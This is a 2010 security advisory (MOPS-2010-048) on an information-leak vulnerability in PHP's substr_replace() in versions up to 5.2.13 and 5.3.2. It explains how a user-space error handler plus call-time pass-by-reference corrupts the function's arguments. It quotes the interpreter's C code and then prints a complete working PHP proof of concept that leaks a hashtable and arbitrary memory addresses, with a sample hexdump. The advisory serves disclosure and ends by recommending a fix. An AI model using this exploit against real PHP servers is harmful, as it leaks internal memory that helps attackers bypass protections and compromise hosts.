MOPS-2010-048: PHP substr_replace() Interruption Information Leak Vulnerability

May 30th, 2010

PHP’s substr_replace() function can be abused for information leak attacks, because of the call time pass by reference feature.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilties are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the substr_replace() function.

PHP_FUNCTION(substr_replace)
{
    ...

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ZZZ|Z", &str, &repl, &from, &len) == FAILURE) {
        return;
    }
   
    if (Z_TYPE_PP(str) != IS_ARRAY) {
        convert_to_string_ex(str);
    }
    if (Z_TYPE_PP(repl) != IS_ARRAY) {
        convert_to_string_ex(repl);
    }
    if (Z_TYPE_PP(from) != IS_ARRAY) {
        convert_to_long_ex(from);
    }

    if (argc > 3) {
        SEPARATE_ZVAL(len);
        if (Z_TYPE_PP(len) != IS_ARRAY) {
            convert_to_long_ex(len);
            l = Z_LVAL_PP(len);
        }
    } else {
        if (Z_TYPE_PP(str) != IS_ARRAY) {
            l = Z_STRLEN_PP(str);
        }
    }

    if (Z_TYPE_PP(str) == IS_STRING) {
        if (
            (argc == 3 && Z_TYPE_PP(from) == IS_ARRAY) ||
            (argc == 4 && Z_TYPE_PP(from) != Z_TYPE_PP(len))
        ) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "'from' and 'len' should be of same type - numerical or array ");
            RETURN_STRINGL(Z_STRVAL_PP(str), Z_STRLEN_PP(str), 1);     
        }

The problem here is that if substr_replace() is called with ‘from’ and ‘len’ arguments of different types an E_WARNING error is emitted. A user space error handler can use this interruption
to change the type of the ’str’ argument into something else as long call time pass by reference is not removed from PHP. If the type of ’str’ is changed into an integer this allows leaking arbitrary memory. If the type of ’str’ is changed into an array this allows leaking the hashtable with important internal memory offsets.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

<?php
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Setup Error Handler */
set_error_handler("my_error");

/* Trigger the Code */ 
$x = substr_replace(&$GLOBALS['var'], "XXXX", "XXXX", array());
restore_error_handler();

echo "Hexdump of an array\n";  
hexdump($x);



/* Alternatively leak arbitrary memory address */
if (is_float($i)) {
    $tmp = unpack("L",substr($x, 8*4, 4));
    $GLOBALS['addr'] = $tmp[1];
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $tmp = unpack("L2",substr($x, 0x38, 8));
    $GLOBALS['addr'] = $tmp[1] + ($tmp[2] << 32); /* ASSUME LITTLE ENDIAN */
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Setup Error Handler */
set_error_handler("my_silent_error");

/* Trigger the Code */ 
$x = substr_replace(&$GLOBALS['var'], new dummy(), "XXXX", array());
restore_error_handler();

echo "\n\nHexdump of zval_ptr_dtor\n";
hexdump($x);

/* HELPERS FOR LEAKING ARRAY CONTENT */

function my_error()
{
    parse_str("xxxxxxxxxx=1", $GLOBALS['var']);
    return 1;
}

/* HELPERS FOR LEAKING ARBITRARY ADDRESSES */

function my_silent_error()
{
    return 1;
}

class dummy
{
    function __toString()
    {          
        /* now the magic */
        $GLOBALS['var'] += $GLOBALS['addr'];
        return "";
    }
}

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
}
?>

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.




blog comments powered by Disqus